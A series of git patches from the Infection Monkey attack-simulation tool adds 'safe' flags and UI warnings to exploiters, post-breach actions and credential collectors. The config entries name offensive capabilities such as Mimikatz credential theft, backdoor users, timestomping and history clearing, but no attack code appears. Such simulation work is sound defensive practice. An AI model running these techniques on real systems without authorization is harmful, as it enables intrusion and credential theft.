"https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/vsftpd/" @@ -132,6 +144,7 @@ EXPLOITER_CLASSES = { "DrupalExploiter" ], "title": "Drupal Exploiter", + "safe": True, "info": "Exploits a remote command execution vulnerability in a Drupal server," "for which certain modules (such as RESTful Web Services) are enabled.", "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/" diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py index 405983dc5..5e3f75f33 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py @@ -10,6 +10,7 @@ FINGER_CLASSES = { "SMBFinger" ], "title": "SMBFinger", + "safe": True, "info": "Figures out if SMB is running and what's the version of it.", "attack_techniques": ["T1210"] }, @@ -19,6 +20,7 @@ FINGER_CLASSES = { "SSHFinger" ], "title": "SSHFinger", + "safe": True, "info": "Figures out if SSH is running.", "attack_techniques": ["T1210"] }, @@ -28,6 +30,7 @@ FINGER_CLASSES = { "PingScanner" ], "title": "PingScanner", + "safe": True, "info": "Tries to identify if host is alive and which OS it's running by ping scan." }, { @@ -36,6 +39,7 @@ FINGER_CLASSES = { "HTTPFinger" ], "title": "HTTPFinger", + "safe": True, "info": "Checks if host has HTTP/HTTPS ports open." }, { @@ -44,6 +48,7 @@ FINGER_CLASSES = { "MySQLFinger" ], "title": "MySQLFinger", + "safe": True, "info": "Checks if MySQL server is running and tries to get it's version.", "attack_techniques": ["T1210"] }, @@ -53,6 +58,7 @@ FINGER_CLASSES = { "MSSQLFinger" ], "title": "MSSQLFinger", + "safe": True, "info": "Checks if Microsoft SQL service is running and tries to gather information about it.", "attack_techniques": ["T1210"] }, @@ -62,6 +68,7 @@ FINGER_CLASSES = { "ElasticFinger" ], "title": "ElasticFinger", + "safe": True, "info": "Checks if ElasticSearch is running and attempts to find it's version.", "attack_techniques": ["T1210"] }, @@ -71,6 +78,7 @@ FINGER_CLASSES = { "WindowsServerFinger" ], "title": "WindowsServerFinger", + "safe": True, "info": "Checks if server is a Windows Server and tests if it is vulnerable to Zerologon.", "attack_techniques": ["T1210"] } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py index f1fe0f6f2..16dc0735e 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py @@ -10,6 +10,7 @@ POST_BREACH_ACTIONS = { "BackdoorUser" ], "title": "Back door user", + "safe": True, "info": "Attempts to create a new user on the system and delete it afterwards.", "attack_techniques": ["T1136"] }, @@ -19,6 +20,7 @@ POST_BREACH_ACTIONS = { "CommunicateAsNewUser" ], "title": "Communicate as new user", + "safe": True, "info": "Attempts to create a new user, create HTTPS requests as that user and delete the user " "afterwards.", "attack_techniques": ["T1136"] @@ -29,6 +31,7 @@ POST_BREACH_ACTIONS = { "ModifyShellStartupFiles" ], "title": "Modify shell startup files", + "safe": True, "info": "Attempts to modify shell startup files, like ~/.profile, ~/.bashrc, ~/.bash_profile " "in linux, and profile.ps1 in windows. Reverts modifications done afterwards.", "attack_techniques": ["T1156", "T1504"] @@ -39,6 +42,7 @@ POST_BREACH_ACTIONS = { "HiddenFiles" ], "title": "Hidden files and directories", + "safe": True, "info": "Attempts to create a hidden file and remove it afterward.", "attack_techniques": ["T1158"] }, @@ -48,6 +52,7 @@ POST_BREACH_ACTIONS = { "TrapCommand" ], "title": "Trap", + "safe": True, "info": "On Linux systems, attempts to trap an interrupt signal in order to execute a command " "upon receiving that signal. Removes the trap afterwards.", "attack_techniques": ["T1154"] @@ -58,6 +63,7 @@ POST_BREACH_ACTIONS = { "ChangeSetuidSetgid" ], "title": "Setuid and Setgid", + "safe": True, "info": "On Linux systems, attempts to set the setuid and setgid bits of a new file. " "Removes the file afterwards.", "attack_techniques": ["T1166"] @@ -68,6 +74,7 @@ POST_BREACH_ACTIONS = { "ScheduleJobs" ], "title": "Job scheduling", + "safe": True, "info": "Attempts to create a scheduled job on the system and remove it.", "attack_techniques": ["T1168", "T1053"] }, @@ -77,6 +84,7 @@ POST_BREACH_ACTIONS = { "Timestomping" ], "title": "Timestomping", + "safe": True, "info": "Creates a temporary file and attempts to modify its time attributes. Removes the file afterwards.", "attack_techniques": ["T1099"] }, @@ -86,6 +94,7 @@ POST_BREACH_ACTIONS = { "SignedScriptProxyExecution" ], "title": "Signed script proxy execution", + "safe": False, "info": "On Windows systems, attemps to execute an arbitrary file " "with the help of a pre-existing signed script.", "attack_techniques": ["T1216"] @@ -96,6 +105,7 @@ POST_BREACH_ACTIONS = { "AccountDiscovery" ], "title": "Account Discovery", + "safe": True, "info": "Attempts to get a listing of user accounts on the system.", "attack_techniques": ["T1087"] }, @@ -105,6 +115,7 @@ POST_BREACH_ACTIONS = { "ClearCommandHistory" ], "title": "Clear command history", + "safe": False, "info": "Attempts to clear the command history.", "attack_techniques": ["T1146"] } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py index 5f113f4a7..174133f43 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py @@ -16,6 +16,7 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { ENVIRONMENT_COLLECTOR ], "title": "Environment collector", + "safe": True, "info": "Collects information about machine's environment (on premise/GCP/AWS).", "attack_techniques": ["T1082"] }, @@ -25,6 +26,7 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { MIMIKATZ_COLLECTOR ], "title": "Mimikatz collector", + "safe": True, "info": "Collects credentials from Windows credential manager.", "attack_techniques": ["T1003", "T1005"] }, @@ -34,6 +36,7 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { AWS_COLLECTOR ], "title": "AWS collector", + "safe": True, "info": "If on AWS, collects more information about the AWS instance currently running on.", "attack_techniques": ["T1082"] }, @@ -43,6 +46,7 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { HOSTNAME_COLLECTOR ], "title": "Hostname collector", + "safe": True, "info": "Collects machine's hostname.", "attack_techniques": ["T1082", "T1016"] }, @@ -52,6 +56,7 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { PROCESS_LIST_COLLECTOR ], "title": "Process list collector", + "safe": True, "info": "Collects a list of running processes on the machine.", "attack_techniques": ["T1082"] }, @@ -61,6 +66,7 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { AZURE_CRED_COLLECTOR ], "title": "Azure credential collector", + "safe": True, "info": "Collects password credentials from Azure VMs", "attack_techniques": ["T1003", "T1005"] } diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js index bab944093..b92ff3f1a 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js @@ -123,6 +123,10 @@ class AdvancedMultiSelect extends React.Component { })); } + isSafe(itemKey) { + return getFullDefinitionByKey(this.infoPaneRefString, this.registry, itemKey).safe; + } + render() { const { schema, @@ -149,7 +153,8 @@ class AdvancedMultiSelect extends React.Component { return ( + disabled={disabled} label={label} checkboxState={this.props.value.includes(value)} + safe={this.isSafe(value)}/> ); } )} diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js b/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js index 4ce11295e..1cd3caa8c 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js @@ -2,7 +2,7 @@ import React from 'react'; import {Button, Form} from 'react-bootstrap'; import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; -import {faCheckSquare} from '@fortawesome/free-solid-svg-icons'; +import {faCheckSquare, faExclamationTriangle} from '@fortawesome/free-solid-svg-icons'; import {faSquare} from '@fortawesome/free-regular-svg-icons'; function ChildCheckbox(props) { @@ -12,15 +12,22 @@ function ChildCheckbox(props) { value, disabled, label, - checkboxState + checkboxState, + safe } = props; + let displayLabel = [{label}]; + + if (!safe) { + displayLabel.push() + } + return ( onPaneClick(value)}> - {label} + {displayLabel} ); } diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss index e5c6c08bc..435047845 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss @@ -57,3 +57,10 @@ white-space: pre-wrap; } +.unsafe-indicator { + text-transform: uppercase; + color: #ffc107; + font-weight: 900; + margin-left: .75em; + margin-right: .75em; +} From 5942fad434b0136aeffc693033c05228977b6a45 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 28 Jan 2021 08:51:30 -0500 Subject: [PATCH 199/466] ui: extract ChildCheckboxContainer component out of AdvancedMultiSelect --- .../ui-components/AdvancedMultiSelect.js | 28 +++++--------- .../components/ui-components/ChildCheckbox.js | 37 ++++++++++++++++++- 2 files changed, 45 insertions(+), 20 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js index b92ff3f1a..90d8cf818 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js @@ -1,12 +1,11 @@ import React from 'react'; -import {Button, Card, Form} from 'react-bootstrap'; +import {Button, Card} from 'react-bootstrap'; import {cloneDeep} from 'lodash'; -import {getComponentHeight} from './utils/HeightCalculator'; import {getDefaultPaneParams, InfoPane} from './InfoPane'; import {MasterCheckbox, MasterCheckboxState} from './MasterCheckbox'; -import ChildCheckbox from './ChildCheckbox'; +import ChildCheckboxContainer from './ChildCheckbox'; import {getFullDefinitionByKey} from './JsonSchemaHelpers'; function AdvancedMultiSelectHeader(props) { @@ -123,7 +122,7 @@ class AdvancedMultiSelect extends React.Component { })); } - isSafe(itemKey) { + isSafe = (itemKey) => { return getFullDefinitionByKey(this.infoPaneRefString, this.registry, itemKey).safe; } @@ -144,21 +143,12 @@ class AdvancedMultiSelect extends React.Component { disabled={disabled} onCheckboxClick={this.onMasterCheckboxClick} checkboxState={this.state.masterCheckboxState} hideReset={this.state.hideReset} onResetClick={this.onResetClick}/> - - { - this.enumOptions.map(({value, label}, i) => { - return ( - - ); - } - )} - + + + diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js b/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js index 1cd3caa8c..e740734d5 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js @@ -5,6 +5,41 @@ import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; import {faCheckSquare, faExclamationTriangle} from '@fortawesome/free-solid-svg-icons'; import {faSquare} from '@fortawesome/free-regular-svg-icons'; +import {getComponentHeight} from './utils/HeightCalculator'; + +function ChildCheckboxContainer(props) { + const { + enumOptions, + id, + multiple, + required, + disabled, + autofocus, + onPaneClick, + onCheckboxClick, + selectedValues, + isSafe + } = props; + + return( + + { + enumOptions.map(({value, label}, i) => { + return ( + + ); + } + )} + + ); +} + function ChildCheckbox(props) { const { onPaneClick, @@ -32,4 +67,4 @@ function ChildCheckbox(props) { ); } -export default ChildCheckbox; +export default ChildCheckboxContainer; From 5f9470d17c408e3a8087efb6716d9c68b59f985b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 28 Jan 2021 09:00:55 -0500 Subject: [PATCH 200/466] ui: extract WarningIcon component from ChildCheckbox.js --- .../ui/src/components/ui-components/ChildCheckbox.js | 5 +++-- .../cc/ui/src/components/ui-components/WarningIcon.js | 11 +++++++++++ 2 files changed, 14 insertions(+), 2 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/ui-components/WarningIcon.js diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js b/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js index e740734d5..57088f0c2 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js @@ -2,10 +2,11 @@ import React from 'react'; import {Button, Form} from 'react-bootstrap'; import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; -import {faCheckSquare, faExclamationTriangle} from '@fortawesome/free-solid-svg-icons'; +import {faCheckSquare} from '@fortawesome/free-solid-svg-icons'; import {faSquare} from '@fortawesome/free-regular-svg-icons'; import {getComponentHeight} from './utils/HeightCalculator'; +import WarningIcon from './WarningIcon'; function ChildCheckboxContainer(props) { const { @@ -54,7 +55,7 @@ function ChildCheckbox(props) { let displayLabel = [{label}]; if (!safe) { - displayLabel.push() + displayLabel.push() } return ( diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/WarningIcon.js b/monkey/monkey_island/cc/ui/src/components/ui-components/WarningIcon.js new file mode 100644 index 000000000..2e759ccb6 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/WarningIcon.js @@ -0,0 +1,11 @@ +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faExclamationTriangle} from '@fortawesome/free-solid-svg-icons'; +import React from 'react'; + +function WarningIcon() { + return ( + + ); +} + +export default WarningIcon; From 2549e1f3454cdf3f5f074ba65cf340ed07e4fa90 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 28 Jan 2021 16:32:24 +0200 Subject: [PATCH 201/466] Deleted custom travis flags that remove scoutsuite code checking, because they are already added in config files --- .travis.yml | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/.travis.yml b/.travis.yml index adecc82d1..29b455ef7 100644 --- a/.travis.yml +++ b/.travis.yml @@ -61,8 +61,7 @@ script: ## Warn about linter issues. ### --exit-zero forces Flake8 to use the exit status code 0 even if there are errors, which means this will NOT fail the build. ### The output is redirected to a file. -# TODO move scoutsuite stuff to config -- flake8 ./monkey --exit-zero --exclude=monkey/common/cloud/scoutsuite --config=./ci_scripts/flake8_linter_check.ini > ./ci_scripts/flake8_warnings.txt +- flake8 ./monkey --exit-zero --config=./ci_scripts/flake8_linter_check.ini > ./ci_scripts/flake8_warnings.txt ## Display the linter issues - cat ./ci_scripts/flake8_warnings.txt ## Make sure that we haven't increased the amount of warnings. @@ -70,13 +69,11 @@ script: - if [ $(tail -n 1 ./ci_scripts/flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi ## Check import order -# TODO move scoutsuite stuff to config -- python -m isort ./monkey --settings-file ./ci_scripts/isort.cfg --skip ./monkey/common/cloud/scoutsuite --skip ./monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py +- python -m isort ./monkey --settings-file ./ci_scripts/isort.cfg ## Run unit tests and generate coverage data - cd monkey # This is our source dir -# TODO move scoutsuite stuff to config file -- python -m pytest --ignore=./common/cloud/scoutsuite --cov=. # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path. +- python -m pytest --cov=. # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path. # Check JS code. The npm install must happen AFTER the flake8 because the node_modules folder will cause a lot of errors. - cd monkey_island/cc/ui From 5ed102bd0957c96b2ea5f505c44292f4be2896e6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 28 Jan 2021 10:08:31 -0500 Subject: [PATCH 202/466] config_schema: fix typo in Signed script proxy execution PBA --- .../services/config_schema/definitions/post_breach_actions.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py index 16dc0735e..857e80da4 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py @@ -95,7 +95,7 @@ POST_BREACH_ACTIONS = { ], "title": "Signed script proxy execution", "safe": False, - "info": "On Windows systems, attemps to execute an arbitrary file " + "info": "On Windows systems, attempts to execute an arbitrary file " "with the help of a pre-existing signed script.", "attack_techniques": ["T1216"] }, From 7ec8f0394c6e64883e5e54c3d6fdb29272e9b28c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 28 Jan 2021 10:12:28 -0500 Subject: [PATCH 203/466] ui: add warning message to PBA/Exploiters InfoPane --- .../ui-components/AdvancedMultiSelect.js | 14 ++++++++-- .../src/components/ui-components/InfoPane.js | 26 +++++++++++++++++-- .../cc/ui/src/styles/components/InfoPane.scss | 7 +++++ 3 files changed, 43 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js index 90d8cf818..955aec509 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js @@ -113,7 +113,16 @@ class AdvancedMultiSelect extends React.Component { setPaneInfo = (itemKey) => { let definitionObj = getFullDefinitionByKey(this.infoPaneRefString, this.registry, itemKey); - this.setState({infoPaneParams: {title: definitionObj.title, content: definitionObj.info, link: definitionObj.link}}); + this.setState( + { + infoPaneParams: { + title: definitionObj.title, + content: definitionObj.info, + link: definitionObj.link, + showWarning: !(this.isSafe(itemKey)) + } + } + ); } setPaneInfoToDefault() { @@ -151,7 +160,8 @@ class AdvancedMultiSelect extends React.Component { + link={this.state.infoPaneParams.link} + showWarning={this.state.infoPaneParams.showWarning}/>
); } diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js b/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js index 6e50ca66d..f0545a5c6 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js @@ -4,10 +4,16 @@ import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; import {faQuestionCircle} from '@fortawesome/free-solid-svg-icons'; import {getObjectFromRegistryByRef} from './JsonSchemaHelpers'; +import WarningIcon from './WarningIcon'; function getDefaultPaneParams(refString, registry) { let configSection = getObjectFromRegistryByRef(refString, registry); - return ({title: configSection.title, content: configSection.description}); + return ( + { + title: configSection.title, + content: configSection.description, + showWarning: false + }); } function InfoPane(props) { @@ -48,11 +54,27 @@ function getSubtitle(props) { } function getBody(props) { + let body = [{props.body}]; + + if (props.showWarning) { + body.push(getWarning()); + } + return ( - {props.body} + {body} ) } +function getWarning() { + return ( +
+ This option may cause a system to become unstable or + change the system's state in undesirable ways. Therefore, this option + is not recommended for use in production or other sensitive environments. +
+ ); +} + export {getDefaultPaneParams, InfoPane} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/InfoPane.scss b/monkey/monkey_island/cc/ui/src/styles/components/InfoPane.scss index 8c61d873f..a177ed7e1 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/InfoPane.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/InfoPane.scss @@ -27,3 +27,10 @@ margin: 10px 15px; padding: 0; } + +.info-pane-warning { + margin-top: 1em; +} +.info-pane-warning .unsafe-indicator { + margin-left: 0em; +} From 9d9e8168fb2c23367b9947273aa1a041687b3e2e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 28 Jan 2021 10:18:40 -0500 Subject: [PATCH 204/466] ui: rename unsafe-indicator to warning-icon --- .../cc/ui/src/components/ui-components/ChildCheckbox.js | 2 +- .../cc/ui/src/components/ui-components/WarningIcon.js | 2 +- monkey/monkey_island/cc/ui/src/styles/components/InfoPane.scss | 2 +- .../monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js b/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js index 57088f0c2..47a86dab6 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js @@ -55,7 +55,7 @@ function ChildCheckbox(props) { let displayLabel = [{label}]; if (!safe) { - displayLabel.push() + displayLabel.push() } return ( diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/WarningIcon.js b/monkey/monkey_island/cc/ui/src/components/ui-components/WarningIcon.js index 2e759ccb6..e06f00ec9 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/WarningIcon.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/WarningIcon.js @@ -4,7 +4,7 @@ import React from 'react'; function WarningIcon() { return ( - + ); } diff --git a/monkey/monkey_island/cc/ui/src/styles/components/InfoPane.scss b/monkey/monkey_island/cc/ui/src/styles/components/InfoPane.scss index a177ed7e1..561e436cf 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/InfoPane.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/InfoPane.scss @@ -31,6 +31,6 @@ .info-pane-warning { margin-top: 1em; } -.info-pane-warning .unsafe-indicator { +.info-pane-warning .warning-icon { margin-left: 0em; } diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss index 435047845..98e598c81 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss @@ -57,7 +57,7 @@ white-space: pre-wrap; } -.unsafe-indicator { +.warning-icon { text-transform: uppercase; color: #ffc107; font-weight: 900; From ce9a398f28a0e22122035f6be5bc8ab5ee6ef79a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 28 Jan 2021 10:58:42 -0500 Subject: [PATCH 205/466] swimm: autosync PBA tutorial --- .swm/JFXftJml8DpmuCPBA9rL.swm | 57 ++++++++---- .swm/tbxb2cGgUiJQ8Btma0fp.swm | 169 +++++++++++++++++++++++----------- 2 files changed, 156 insertions(+), 70 deletions(-) diff --git a/.swm/JFXftJml8DpmuCPBA9rL.swm b/.swm/JFXftJml8DpmuCPBA9rL.swm index 7c186126e..3e348a3a6 100644 --- a/.swm/JFXftJml8DpmuCPBA9rL.swm +++ b/.swm/JFXftJml8DpmuCPBA9rL.swm @@ -1,30 +1,51 @@ { "id": "JFXftJml8DpmuCPBA9rL", "name": "Add details about your new PBA", - "dod": "WW91JTIwc2hvdWxkJTIwYWRkJTIweW91ciUyMG5ldyUyMFBCQSdzJTIwZGV0YWlscyUyMHRvJTIwdGhlJTIwY29uZmlndXJhdGlvbi4=", - "description": "SW4lMjBvcmRlciUyMHRvJTIwbWFrZSUyMHN1cmUlMjB0aGF0JTIwdGhlJTIwbmV3JTIwJTYwU2NoZWR1bGVKb2JzJTYwJTIwUEJBJTIwaXMlMjBzaG93biUyMGluJTIwdGhlJTIwY29uZmlndXJhdGlvbiUyMG9uJTIwdGhlJTIwTW9ua2V5JTIwSXNsYW5kJTJDJTIweW91JTIwbmVlZCUyMHRvJTIwYWRkJTIwaXRzJTIwZGV0YWlscyUyMHRvJTIwdGhlJTIwY29uZmlndXJhdGlvbiUyMGZpbGUocykuJTIwJTNDYnIlM0UlM0NiciUzRSUwQSUwQVNpbmNlJTIwdGhpcyUyMHBhcnRpY3VsYXIlMjBQQkElMjBpcyUyMHJlbGF0ZWQlMjB0byUyMHRoZSUyME1JVFJFJTIwdGVjaG5pcXVlcyUyMCU1QlQxMTY4JTVEKGh0dHBzJTNBJTJGJTJGYXR0YWNrLm1pdHJlLm9yZyUyRnRlY2huaXF1ZXMlMkZUMTE2OCklMjBhbmQlMjAlNUJUMTA1MyU1RChodHRwcyUzQSUyRiUyRmF0dGFjay5taXRyZS5vcmclMkZ0ZWNobmlxdWVzJTJGVDEwNTMpJTJDJTIwbWFrZSUyMHN1cmUlMjB0byUyMGxpbmslMjB0aGUlMjBQQkElMjB3aXRoJTIwdGhlc2UlMjB0ZWNobmlxdWVzJTIwaW4lMjB0aGUlMjBjb25maWd1cmF0aW9uJTIwYXMlMjB3ZWxsLiUyMCUzQ2JyJTNFJTNDYnIlM0UlMEElMEFFYWNoJTIwcGFydCUyMG9mJTIwdGhlJTIwY29uZmlndXJhdGlvbiUyMGhhcyUyMGFuJTIwaW1wb3J0YW50JTIwcm9sZSUyMCUyMCUwQS0lMjAqZW51bSolMjAlRTIlODAlOTQlMjBjb250YWlucyUyMHRoZSUyMHJlbGV2YW50JTIwUEJBJ3MlMjBjbGFzcyUyMG5hbWUocyklMEEtJTIwKnRpdGxlKiUyMCVFMiU4MCU5NCUyMGhvbGRzJTIwdGhlJTIwbmFtZSUyMG9mJTIwdGhlJTIwUEJBJTIwd2hpY2glMjBpcyUyMGRpc3BsYXllZCUyMGluJTIwdGhlJTIwY29uZmlndXJhdGlvbiUyMG9uJTIwdGhlJTIwTW9ua2V5JTIwSXNsYW5kJTBBLSUyMCppbmZvKiUyMCVFMiU4MCU5NCUyMGNvbnNpc3RzJTIwb2YlMjBhbiUyMGVsYWJvcmF0aW9uJTIwb24lMjB0aGUlMjBQQkEncyUyMHdvcmtpbmclMjB3aGljaCUyMGlzJTIwZGlzcGxheWVkJTIwaW4lMjB0aGUlMjBjb25maWd1cmF0aW9uJTIwb24lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQlMEEtJTIwKmF0dGFja190ZWNobmlxdWVzKiUyMCVFMiU4MCU5NCUyMGhhcyUyMHRoZSUyMElEcyUyMG9mJTIwdGhlJTIwTUlUUkUlMjB0ZWNobmlxdWVzJTIwYXNzb2NpYXRlZCUyMHdpdGglMjB0aGUlMjBQQkElMEElMEElMjMlMjMlMjBNYW51YWwlMjB0ZXN0JTIwJTIwJTBBT25jZSUyMHlvdSUyMHRoaW5rJTIweW91J3JlJTIwZG9uZS4uLiUwQS0lMjBSdW4lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQlMEEtJTIwWW91JTIwc2hvdWxkJTIwYmUlMjBhYmxlJTIwdG8lMjBzZWUlMjB5b3VyJTIwbmV3JTIwUEJBJTIwdW5kZXIlMjB0aGUlMjAlMjJNb25rZXklMjIlMjB0YWIlMjBpbiUyMHRoZSUyMGNvbmZpZ3VyYXRpb24lMkMlMjBhbG9uZyUyMHdpdGglMjBpdHMlMjBpbmZvcm1hdGlvbiUyMHdoZW4lMjB5b3UlMjBjbGljayUyMG9uJTIwaXQlMEEtJTIwRnVydGhlciUyQyUyMHdoZW4lMjB5b3UlMjBlbmFibGUlMkZkaXNhYmxlJTIwdGhlJTIwYXNzb2NpYXRlZCUyME1JVFJFJTIwdGVjaG5pcXVlcyUyMHVuZGVyJTIwdGhlJTIwQVRUJTI2Q0slMjB0YWIlMjBpbiUyMHRoZSUyMGNvbmZpZ3VyYXRpb24lMkMlMjB0aGUlMjBQQkElMjBzaG91bGQlMjBhbHNvJTIwYmUlMjBlbmFibGVkJTJGZGlzYWJsZWQlMEElMEElM0NpbWclMjBzcmMlM0QlMjJodHRwcyUzQSUyRiUyRmkuaW1ndXIuY29tJTJGYTVWU2tMNS5naWYlMjIlMjBoZWlnaHQlM0Q0MDAlM0U=", - "summary": "LSUyMFRoZSUyMFBCQSUyMGRldGFpbHMlMjBpbiUyMHRoaXMlMjBmaWxlJTIwYXJlJTIwcmVmbGVjdGVkJTIwb24lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQlMjBpbiUyMHRoZSUyMFBCQSUyMGNvbmZpZ3VyYXRpb24uJTBBLSUyMFBCQXMlMjBhcmUlMjBhbHNvJTIwbGlua2VkJTIwdG8lMjB0aGUlMjByZWxldmFudCUyME1JVFJFJTIwdGVjaG5pcXVlcyUyMGluJTIwdGhpcyUyMGZpbGUlMkMlMjB3aG9zZSUyMHJlc3VsdHMlMjBjYW4lMjB0aGVuJTIwYmUlMjBzZWVuJTIwaW4lMjB0aGUlMjBNSVRSRSUyMEFUVCUyNkNLJTIwcmVwb3J0JTIwb24lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQu", - "diff": 